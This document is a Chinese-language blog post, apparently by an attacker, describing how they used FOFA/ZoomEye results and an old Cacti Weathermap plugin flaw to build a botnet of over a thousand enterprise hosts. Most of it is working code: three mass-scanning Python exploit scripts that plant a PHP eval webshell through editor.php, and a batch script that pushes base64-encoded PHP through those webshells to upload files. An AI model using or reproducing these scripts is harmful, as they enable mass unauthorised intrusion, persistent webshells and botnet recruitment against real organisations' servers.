> 企业核心区域除线上业务,只剩下运维与数据库相关系统,想建立僵尸网络,在完成平时的渗透工作时快速定位自己是否有目标相关内网权限,挂马获取员工PC起或者一些新装服务挂马,基效果并不会太好,一些服务如:walle,HUE,Django,zabbix,zookeeper,hadoop,Flume-ng、GraphicsMagick。这些系统如果能找到相关主机漏洞或者相对鸡肋的漏洞,都可以获取质量相对较高的内网权限。更多信息:http://sh4d0w.lofter.com

这次,我们使用的是cacti。一个很老的漏洞,之前是东西是2015年写的POC的,之前抓到了2000+,最近需要一些肉鸡,所以又试了一下,发现还是能找到1000多台全球主机,基本都在企业内网,包括国内外知名企业。

0×01 数据获取

> 可以使用zoomeyes api 与fafo api ,我使用的是fofa。
>
> zoomeyes 与 fafo 采集结果数据两者是不同的。所以exp 我给出两种不同结构。
>
> zoomeyes数据结构:(域名)+端口    
>
> fofa数据结构:http://+(域名)+端口

0×02 脚本使用

使用命令    exp.py   -f ip.txt         (IP里面格式一行放一个IP) ,IP端口需要修改的话,请修改port_list。这种对应 zoomeyes的数据结构。

import argparse
import sys
import netaddr
import multiprocessing
import time
import Queue
import requests
import threading

port_list = ['80,443,8080,81,8081']

payload = '/plugins/weathermap/editor.php?plug=0&mapname=conn.php&action=set_map_properties¶m=¶m2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=<?php echo(md5(1));@eval($_POST[0]);?>&map_legend=Traffic+Load&map_stamp=Created:+%b+%d+%Y+%H:%M:%S&map_linkdefaultwidth=7&map_linkdefaultbwin=100M&map_linkdefaultbwout=100M&map_width=800&map_height=600&map_pngfile=&map_htmlfile=&map_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=overlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyle_legendfont=4&item_configtext=Name'
payload2 = '/plugins/weathermap/configs/conn.php'

payload3 = '/cacti/plugins/weathermap/editor.php?plug=0&mapname=conn.php&action=set_map_properties¶m=¶m2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=<?php echo(md5(1));@eval($_POST[0]);?>&map_legend=Traffic+Load&map_stamp=Created:+%b+%d+%Y+%H:%M:%S&map_linkdefaultwidth=7&map_linkdefaultbwin=100M&map_linkdefaultbwout=100M&map_width=800&map_height=600&map_pngfile=&map_htmlfile=&map_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=overlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyle_legendfont=4&item_configtext=Name'
payload4 = '/cacti/plugins/weathermap/configs/conn.php'

class main_class(object):

    def __init__(self,target_ip,thread_num):
        #print target_ip
        self.target_ip = target_ip
        self.thread_num = thread_num
        self.queue = Queue.Queue()
        self.start_time = time.time()

        self.load_queue()

    def load_queue(self):
        for i in port_list:
            self.queue.put(i)


    def worker(self):
         while self.queue.qsize() > 0:
            port = self.queue.get()

            try:
                req = requests.get("http://"+self.target_ip+":"+port,timeout=3)
                if "Cacti" in req.content:
                    try:
                        #print self.target_ip
                        requests.get("http://"+self.target_ip+":"+port+payload,timeout=3)
                        req = requests.get("http://"+self.target_ip+":"+port+payload2,timeout=3)
                        if "c4ca4238a0b923820dcc509a6f75849b" in req.content:
                            #print self.target_ip,port
                            print "http://"+self.target_ip+":"+port+payload2
                    except:
                        try:
                            requests.get("http://"+self.target_ip+":"+port+payload3,timeout=3)
                            req = requests.get("http://"+self.target_ip+":"+port+payload4,timeout=3)
                            if "c4ca4238a0b923820dcc509a6f75849b" in req.content:
                                #print self.target_ip,port
                                print "http://"+self.target_ip+":"+port+payload4
                        except:
                            pass
                else:
                    continue    
            except:
                pass

            self.queue.task_done() 


    def main(self):
        thread_list = []
        for i in range(self.thread_num):
            t = threading.Thread(target = self.worker)
            thread_list.append(t)
            t.setDaemon(True)
            t.start()
        for i in thread_list:
            i.join()


def func(ip,num):
    #for i in xrange(3):
    #print ip
    main = main_class(target_ip = ip,thread_num = num) 
    main.main()  
    time.sleep(0.1)



if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='portscan')
    parser.add_argument('-t',action='store',dest='thread_num',default='10',help='thread number',type=int)    
    parser.add_argument('-i',action='store',dest='dest_ip',help='destination ip',type=str)
    parser.add_argument('-a',action='store',dest='dest_ipaddr',help='destination ip addr',type=str)
    parser.add_argument('-f',action='store',dest='dest_file',help='destination ip file',type=str)
    if len(sys.argv) == 1:
        sys.argv.append('-h')
    args = parser.parse_args()


    a = []
    if args.dest_ip:
        a.append(args.dest_ip)
    elif args.dest_ipaddr:
        for i in netaddr.IPNetwork(args.dest_ipaddr):
            a.append(i)
    elif args.dest_file:
        for i in open(args.dest_file).readlines():
            i = i.strip('\n')       
            a.append(i)
    else:
        print "-t -i or -a or -f"
        sys.exit(-1)


    for target_ip in a:        
        pool = multiprocessing.Pool(processes=2)
        pool.apply_async(func, (target_ip,args.thread_num))

    pool.close()
    pool.join()

使用命令    exp.py   -f ip.txt       (ip.txt格式:http://(IP或者域名):端口)   &nbsp;

import argparse
import sys
import netaddr
import multiprocessing
import time
import Queue
import requests
import threading

port_list = ['80,443,8080,81,8081']

payload = '/plugins/weathermap/editor.php?plug=0&mapname=conn.php&action=set_map_properties¶m=¶m2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=<?php echo(md5(1));@eval($_POST[0]);?>&map_legend=Traffic+Load&map_stamp=Created:+%b+%d+%Y+%H:%M:%S&map_linkdefaultwidth=7&map_linkdefaultbwin=100M&map_linkdefaultbwout=100M&map_width=800&map_height=600&map_pngfile=&map_htmlfile=&map_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=overlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyle_legendfont=4&item_configtext=Name'
payload2 = '/plugins/weathermap/configs/conn.php'

payload3 = '/cacti/plugins/weathermap/editor.php?plug=0&mapname=conn.php&action=set_map_properties¶m=¶m2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=<?php echo(md5(1));@eval($_POST[0]);?>&map_legend=Traffic+Load&map_stamp=Created:+%b+%d+%Y+%H:%M:%S&map_linkdefaultwidth=7&map_linkdefaultbwin=100M&map_linkdefaultbwout=100M&map_width=800&map_height=600&map_pngfile=&map_htmlfile=&map_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=overlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyle_legendfont=4&item_configtext=Name'
payload4 = '/cacti/plugins/weathermap/configs/conn.php'

class main_class(object):

    def __init__(self,target_ip,thread_num):
        #print target_ip
        self.target_ip = target_ip
        self.thread_num = thread_num
        self.queue = Queue.Queue()
        self.start_time = time.time()

        self.load_queue()

    def load_queue(self):
        for i in port_list:
            self.queue.put(i)


    def worker(self):
         while self.queue.qsize() > 0:
            port = self.queue.get()

            try:
                req = requests.get("http://"+self.target_ip+":"+port,timeout=3)
                if "Cacti" in req.content:
                    try:
                        #print self.target_ip
                        requests.get("http://"+self.target_ip+":"+port+payload,timeout=3)
                        req = requests.get("http://"+self.target_ip+":"+port+payload2,timeout=3)
                        if "c4ca4238a0b923820dcc509a6f75849b" in req.content:
                            #print self.target_ip,port
                            print "http://"+self.target_ip+":"+port+payload2
                    except:
                        try:
                            requests.get("http://"+self.target_ip+":"+port+payload3,timeout=3)
                            req = requests.get("http://"+self.target_ip+":"+port+payload4,timeout=3)
                            if "c4ca4238a0b923820dcc509a6f75849b" in req.content:
                                #print self.target_ip,port
                                print "http://"+self.target_ip+":"+port+payload4
                        except:
                            pass
                else:
                    continue    
            except:
                pass

            self.queue.task_done() 


    def main(self):
        thread_list = []
        for i in range(self.thread_num):
            t = threading.Thread(target = self.worker)
            thread_list.append(t)
            t.setDaemon(True)
            t.start()
        for i in thread_list:
            i.join()


def func(ip,num):
    #for i in xrange(3):
    #print ip
    main = main_class(target_ip = ip,thread_num = num) 
    main.main()  
    time.sleep(0.1)



if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='portscan')
    parser.add_argument('-t',action='store',dest='thread_num',default='10',help='thread number',type=int)    
    parser.add_argument('-i',action='store',dest='dest_ip',help='destination ip',type=str)
    parser.add_argument('-a',action='store',dest='dest_ipaddr',help='destination ip addr',type=str)
    parser.add_argument('-f',action='store',dest='dest_file',help='destination ip file',type=str)
    if len(sys.argv) == 1:
        sys.argv.append('-h')
    args = parser.parse_args()


    a = []
    if args.dest_ip:
        a.append(args.dest_ip)
    elif args.dest_ipaddr:
        for i in netaddr.IPNetwork(args.dest_ipaddr):
            a.append(i)
    elif args.dest_file:
        for i in open(args.dest_file).readlines():
            i = i.strip('\n')       
            a.append(i)
    else:
        print "-t -i or -a or -f"
        sys.exit(-1)


    for target_ip in a:        
        pool = multiprocessing.Pool(processes=2)
        pool.apply_async(func, (target_ip,args.thread_num))

    pool.close()
    pool.join()

    

对https处理有些问题,如果https使用下面:

import argparse
import sys
import netaddr
import multiprocessing
import time
import Queue
import requests
import threading
import os
import signal

port_list = ('80')

payload1 = '/plugins/weathermap/editor.php?plug=0&mapname=conn.php&action=set_map_properties¶m=¶m2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=<?php echo(md5(1));@eval($_POST[0]);?>&map_legend=Traffic+Load&map_stamp=Created:+%b+%d+%Y+%H:%M:%S&map_linkdefaultwidth=7&map_linkdefaultbwin=100M&map_linkdefaultbwout=100M&map_width=800&map_height=600&map_pngfile=&map_htmlfile=&map_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=overlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyle_legendfont=4&item_configtext=Name'
payload2 = '/plugins/weathermap/configs/conn.php'

payload3 = '/cacti/plugins/weathermap/editor.php?plug=0&mapname=conn.php&action=set_map_properties¶m=¶m2=&debug=existing&node_name=&node_x=&node_y=&node_new_name=&node_label=&node_infourl=&node_hover=&node_iconfilename=--NONE--&link_name=&link_bandwidth_in=&link_bandwidth_out=&link_target=&link_width=&link_infourl=&link_hover=&map_title=<?php echo(md5(1));@eval($_POST[0]);?>&map_legend=Traffic+Load&map_stamp=Created:+%b+%d+%Y+%H:%M:%S&map_linkdefaultwidth=7&map_linkdefaultbwin=100M&map_linkdefaultbwout=100M&map_width=800&map_height=600&map_pngfile=&map_htmlfile=&map_bgfile=--NONE--&mapstyle_linklabels=percent&mapstyle_htmlstyle=overlib&mapstyle_arrowstyle=classic&mapstyle_nodefont=3&mapstyle_linkfont=2&mapstyle_legendfont=4&item_configtext=Name'
payload4 = '/cacti/plugins/weathermap/configs/conn.php'
requests.packages.urllib3.disable_warnings()
class main_class(object):

    def __init__(self,target_ip,thread_num):
        #print os.getpid()
        self.target_ip = target_ip
        self.thread_num = thread_num
        self.queue = Queue.Queue()
        self.start_time = time.time()

        self.load_queue()

    def load_queue(self):
        for i in port_list:
            self.queue.put(i)


    def worker(self):
         while self.queue.qsize() > 0:
            port = self.queue.get()
            #print self.target_ip,port
            try:
                req = requests.get(self.target_ip,timeout=4, verify=False)
                if "Cacti" in req.content:
                    try:
                        r = requests.get(self.target_ip+payload3,timeout=4,verify=False)
                        if r.status_code == 404:
                            requests.get(self.target_ip+payload1,timeout=4,verify=False)
                            req = requests.get(self.target_ip+payload2,timeout=4,verify=False)
                            if "c4ca4238a0b923820dcc509a6f75849b" in req.content:
                                print self.target_ip+payload2
                                #os.kill(os.getpid(), signal.SIGKILL)
                        else:        
                            req = requests.get(self.target_ip+payload4,timeout=4,verify=False)
                            if "c4ca4238a0b923820dcc509a6f75849b" in req.content:
                                print self.target_ip+"payload4"
                                #os.kill(os.getpid(), signal.SIGKILL)
                    except:
                        #print "error1"
                        pass
            except:
                #print "error2"
                pass

            self.queue.task_done() 


    def main(self):
        thread_list = []
        for i in range(self.thread_num):
            t = threading.Thread(target = self.worker)
            thread_list.append(t)
            t.setDaemon(True)
            t.start()
        for i in thread_list:
            i.join()


def func(ip,num):
    #for i in xrange(3):
    #print ip
    main = main_class(target_ip = ip,thread_num = num) 
    main.main()  
    time.sleep(0.1)



if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='portscan')
    parser.add_argument('-t',action='store',dest='thread_num',default='10',help='thread number',type=int)    
    parser.add_argument('-i',action='store',dest='dest_ip',help='destination ip',type=str)
    parser.add_argument('-a',action='store',dest='dest_ipaddr',help='destination ip addr',type=str)
    parser.add_argument('-f',action='store',dest='dest_file',help='destination ip file',type=str)
    if len(sys.argv) == 1:
        sys.argv.append('-h')
    args = parser.parse_args()


    a = []
    if args.dest_ip:
        a.append(args.dest_ip)
    elif args.dest_ipaddr:
        for i in netaddr.IPNetwork(args.dest_ipaddr):
            a.append(i)
    elif args.dest_file:
        for i in open(args.dest_file).readlines():
            i = i.strip('\n')       
            a.append(i)
    else:
        print "-t -i or -a or -f"
        sys.exit(-1)
    try:
        pool = multiprocessing.Pool(processes=5)

        for target_ip in a:        
            pool.apply_async(func, (target_ip,args.thread_num))
            #pool.apply(func, (target_ip,args.thread_num))

        pool.close()
        pool.join()
    except KeyboardInterrupt,e:
        sys.exit(-1)

    

0×03 批量上传文件

这里安全小飞侠写过一个脚本:http://www.freebuf.com/sectool/91082.html 但不支持HTTPS,需要在上面

import ssl 
ssl._create_default_https_context = ssl._create_unverified_context

解决访问Https时不受信任SSL证书问题

使用命令: shell.py      webshell.txt     wenjian.txt      (webshell.txt文件格式  http://xx.com/muma.php,0),(wenjian.txt 上传文件的格式,如果上传PHP,一定要是PHP后缀)

代码:

#!/usr/bin/python  
#coding=utf-8  
import urllib  
import urllib2
import sys
import base64
import re
import ssl 
ssl._create_default_https_context = ssl._create_unverified_context
def post(url, data):  
    req = urllib2.Request(url)  
    data = urllib.urlencode(data)   
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor())  
    response = opener.open(req, data)  
    return response.read()  

def get_shell_path(posturl,passwd):
    shell_path = ""
    try:
        data = {}
        data[passwd] = '@eval(base64_decode($_POST[z0]));'
        data['z0']='ZWNobyAkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ107'
        shell_path = post(posturl, data).strip()
    except Exception:
        pass
    return shell_path

def main():
    print '\n+++++++++Batch Uploading Local File (Only for PHP webshell)++++++++++\n'
    shellfile = sys.argv[1] # 存放webshell路径和密码的文件
    localfile = sys.argv[2] # 本地待上传的文件名
    shell_file = open(shellfile,'rb')
    local_content = str(open(localfile,'rb').read())
    for eachline in shell_file:
        posturl = eachline.split(',')[0].strip()
        passwd = eachline.split(',')[1].strip()
        try:
            reg = ".*/([^/]*\.php?)"
            match_shell_name = re.search(reg,eachline)
            if match_shell_name:
                shell_name=match_shell_name.group(1)
                shell_path = get_shell_path(posturl,passwd).strip()
                target_path = shell_path.split(shell_name)[0]+localfile
                target_path_base64 = base64.b64encode(target_path)
                target_file_url = eachline.split(shell_name)[0]+localfile
                data = {}
                data[passwd] = '@eval(base64_decode($_POST[z0]));'


data['z0']='QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOwokYz1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSk7CiRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOwokYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjKTsKJGJ1Zj0iIjsKZm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MSkKICAgICRidWYuPXN1YnN0cigkYywkaSwxKTsKZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1ZikpOwplY2hvKCJ8PC0iKTsKZGllKCk7'
                data['z1']=target_path_base64
                data['z2']=base64.b64encode(local_content)
                response = post(posturl, data)
                if response:
                    print '[+] '+target_file_url+', upload succeed!'
                else:
                    print '[-] '+target_file_url+', upload failed!'
            else:
                print '[-] '+posturl+', unsupported webshell!'
        except Exception,e:
            print '[-] '+posturl+', connection failed!'
    shell_file.close()

if __name__ == '__main__':  
    main()

    

\    

最后上线主机 1146台。

源链接

Hacking more

...